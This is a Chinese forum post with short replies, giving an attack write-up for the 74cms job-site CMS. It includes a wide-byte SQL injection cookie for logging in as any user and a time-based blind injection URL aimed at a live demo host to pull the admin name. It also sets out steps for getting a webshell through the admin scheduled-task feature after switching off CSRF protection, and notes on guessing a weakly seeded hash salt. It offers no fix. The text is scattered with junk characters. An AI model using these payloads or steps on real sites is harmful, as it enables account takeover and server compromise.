找回密码
 加入怎通
查看: 528|回复: 4

[SEM行业] 骑士cms注入及后台拿shell

[复制链接]
寻路者 发表于 2013-01-07 16:50:49 | 显示全部楼层 |阅读模式
0x1 任意用户登录
4 e: Q9 h) h5 d8 D: E1 N, ~6 f* O( {% r% B% W6 q
  0x2 盲注
. Y8 U* Q* Z+ s/ Y# H% N- l- V- Q* P+ _) c/ @
  0x3 后台拿shell
5 M( Q# C( S% @1 e; k2 F- Q& o; [0 Z( l# T* I& J* P3 z5 W
  0x4 随机函数问题
! w5 o' Q4 M4 {2 b8 @
) B4 r0 r9 ^8 r) P" G& Y  详细说明:- z5 I% |  n& A* ^
. ]3 b7 S1 D" n. Q' H" B( ^' _. {- O
  0x1 任意用户登录
/ ~7 l0 @8 }2 D- y) R
4 G$ L1 _2 g% Z; u/ F  user/login.php
! X  t1 K# W1 L5 r( F8 v6 Z  M/ z/ y$ n3 g2 B+ f' k# }3 }
  elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
$ ~) p( L* m* Y9 F; }* V
6 F5 E3 t9 S" H9 _* U2 l3 Y; @  {9 S! X; {; U2 E: E* V
4 m' T$ ]% W* M3 n$ \" Q
  if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))
9 G9 O, s- @/ e& `% y  u( g5 s: V4 H  j  d' u+ U
  {9 j* e7 K3 s( p6 `& c+ {- i1 k

2 v% w0 C5 f2 D+ ?' t" C: }  update_user_info($_COOKIE['QS']['uid'],false,false);8 b) q/ m4 c' t! L% J
; M! y% J% D5 {' }7 w
  header("Location:".get_member_url($_SESSION['utype']));
1 y5 p8 S7 D' m# g5 a
5 w4 `' x# Y9 ]$ n3 D! @8 z  }5 p( ]3 U* N6 ~8 D

0 z& b! N$ K  ~% N) _  else
* h4 _4 i5 Z- c" v3 G2 {; s( t
  a: k1 k. m9 ^& x* m  {
# P% _( }1 H# E
9 x* q+ n; k  X! S, Z3 ?4 w' f  unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);
# j' ^9 L# V' z/ ^2 @" f+ @+ N
. d* W, H2 I# e; s; H8 E# O* {  setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);4 h6 j4 u- S5 y, G; ~7 Z7 G
6 \6 @0 R9 g/ P" d
  setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);: `" B' \, Z2 K8 x5 Z
* i1 B# C9 U% p
  setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);
* A% L( y5 V6 G* Z! Z" ^, F: N  b! r+ y# Z
  setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
1 C/ P( g1 k; A( H
: W1 Y3 k& s1 R, E4 j, |1 L2 {  header("Location:".url_rewrite('QS_login'));2 F5 U8 ?7 A: c& _8 l* L

8 x+ H7 S+ e$ g5 T. S* n; @  }- s7 F8 m6 \/ B; F! U9 i

1 S. f* {; |+ j) O" l4 Q2 }  }
, x( K1 a3 h" _" ^7 p
# a2 h2 m2 {; H7 w  f  include/fun_user.php  O5 i3 L- b* ]: S- W! x
" c( r/ G; M. n% F7 K# ?- @3 K
  //检测COOKIE  f9 D  }6 J0 d8 K" P+ S% i5 [
6 q$ v  q; ]- G) P. F
  function check_cookie($name,$pwd){
$ k0 u; i, ^3 r! t6 J/ `& A; {. _/ ]& r0 S, d' N- l5 k3 a* ~% l) k
  global $db;
6 I* o7 i" L: U6 t3 q7 K' J7 P# e3 a- J  Q8 L
  $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");3 I% ]. I3 Z5 I: Y: X- e4 b
0 M) u/ B9 o5 ^. t8 ^4 E5 `
  if($row['num'] > 0)- o7 y7 g/ F% L; V$ t; ?

2 `; q, e! E' ]' c- C. o7 j* |* t  {% W  A/ _7 k* n) R3 D
- u. V6 y9 R* `/ V  m: P8 }- H& s4 m
  return true;
( I9 L0 i3 h( z& B* t# L8 J+ z9 ]4 M7 E! K8 K
  }else{
8 Y3 d* U( b" U8 s* B5 E+ W
8 D4 j0 h& A$ V  return false;
9 M, L9 h+ u/ p) p# k1 C  H3 y
$ Q$ J. h* j- r; c  }2 `; x& N  o% [" ~1 l' b
, h. N% T( x3 ?; E9 K
  }
& I+ J- z3 s  Y' ~% Y3 O$ ^6 f
/ ^; a2 l+ j% P* O  构造cookie如下- t' b9 T+ ]" ^) f
# P( [1 N/ v. O: b4 }
  QS[uid] 2
# Q8 O2 a% P/ [$ T( O% ?  U
' f0 J; o8 \  D' i+ e8 K& C  QS[utype] 1' B; X9 x! [! r: Y; J5 X  k* a
2 ~/ ^, k- {' t) |  f, L
  QS[password] 111111111111111111111* V  S. g( b4 A  v3 n4 l
2 f/ E( V3 |% ]8 U( \1 U" ?
  QS[username]%bf%27 or 1=1 %23' z$ r) H, J3 i# H7 i

% q' P" l1 O8 N. C+ b  uid 为假冒用户的ID utype为用户类型password任意
9 j6 k5 l2 u7 j1 Z
9 r* |; c& `, d0 b  0x2 盲注. h6 g( d% j5 C
) f) K2 `- G" f) J; @: R
  http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%23, W; v0 D0 Y6 y. Q/ C3 P

1 ?9 x6 F) u) s$ T  上面两个都是宽字节注入,如果你能猜出管理员密码,还能解出双重md5的话,还能猜出后台路径,继续看下面& N+ O$ m$ y. t. r% E- i8 h7 ^7 \
8 F3 s. [" {# `' z' ]3 M
  0x3 后台拿shell! q9 {6 u  ]7 G
) I7 J* m, L% x$ m) h1 G
  1.先关闭csrf防御功能- Q5 o7 E% a- R

& X; V$ A# o6 R' [  2.在hr工具箱中添加一个伪造的doc,内容为,记下路径data/hrtools/2012/06/1339941553308.doc8 y. c: B* \6 z. V( f% ?) V
5 v2 H! S  C/ y# N5 R* }' `
  3.在工具-计划任务中添加任务,脚本任务填../../data/hrtools/2012/06/1339941553308.doc
7 @5 x# x+ K5 D- r# a3 K  A: q4 Z" P! h! U) K5 F0 C( T
  4.然后执行5 y$ k2 \! m1 v' c
) }- x9 d: R; F/ {9 \8 O1 n
  0x4 随机函数问题(几乎可以无视,纯属个人YY)- b$ H9 ]. y1 h: k. g
/ M8 X: ]  h5 [" K
  在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的,只要能猜出就可已不用解双重md5了。8 D6 @. G: g+ u+ s4 t- }( [
( V" n# H5 [; V4 {6 K* `2 m% d
  这个$QS_pwdhash是由randstr生成
( m3 k! _: B: [+ [! g
; y; p: J$ t% P, g' c  function randstr($length=6)
  B6 k& Q2 ~! R1 r! v* T) P: b  m  ~7 g+ Q# K! j8 Q+ j
  {
0 o4 B4 R3 D% |) q  w9 }+ w( q3 R9 B8 n) ~( _( P
  $hash='';
1 R1 }1 b! J; z: n( Y+ D( `1 h
3 U# v$ a. T5 A# Q; G0 l0 W  $chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';
1 H; T5 j% m+ ~7 W3 }6 X0 |& E
  $max=strlen($chars)-1;
/ Y$ E2 \1 g, i3 m' M& X& P& y3 c- i9 G. {: w
  mt_srand((double)microtime()*1000000);
7 Y- S" @. s9 l% [5 S$ X
4 O: M9 D; Y2 `( W  for($i=0;$i<$length;$i++) {& N7 w/ @/ _3 g/ Z5 L1 B% ^# s: k
* e5 M4 {6 [+ B9 v* ~% i3 Z
  $hash.=$chars[mt_rand(0,$max)];
9 ^6 |2 ~8 U& j! h1 ~5 N) z7 h2 E" ]0 q! B/ p( u+ K5 _( _
  }
! l$ p7 ]3 E- W% y  i7 ], \3 l+ O
  return $hash;
( i+ T# {1 v: I% w# u9 S
! R4 J- F! C: L, g  Z$ h  }
( b. O4 K1 `! @7 G- i& W( e) N0 I, P7 W: a) H
  生成长度为6的随机数,mt_srand()播种一样,就会得到一样的随机数,所以我们最多要猜1000000次就可以了(蛋疼)
- @# Q4 V) f! }) t1 }" @7 }/ K, Y% R6 Y# ~* {( C  p
  漏洞证明:
/ p2 }7 b2 P( i4 m
: D9 U3 v" D/ j3 Y0 N$ N* K  修复方案:
6 O- y) [' ]- d0 c- w
, i/ r& @# t" {2 K0 _  do it yourself~/ a' I7 i, P* P; u
) M7 D. M! J6 H& f8 M7 o$ |7 w
解决一切网站安全,湖盟云防火墙:hnhack.com

暂时无法加载帖子列表

回复

使用道具 举报

leonseo444 发表于 2026-01-07 03:59:27 | 显示全部楼层
学习到了,之前一直没注意过这个点,受教了
回复

使用道具 举报

彼岸花 发表于 2026-03-13 13:46:09 | 显示全部楼层
刚好遇到类似问题,看完这个帖子心里有底了
回复

使用道具 举报

知足常乐 发表于 2026-05-25 10:07:43 | 显示全部楼层
说得很实在,没有夸大其词,这种真实分享太难得了
回复

使用道具 举报

魔术 发表于 2026-09-01 19:28:54 | 显示全部楼层
这个思路很新颖,打开了新世界的大门,谢谢分享
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-9-13 18:42 , Processed in 0.057672 second(s), 52 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表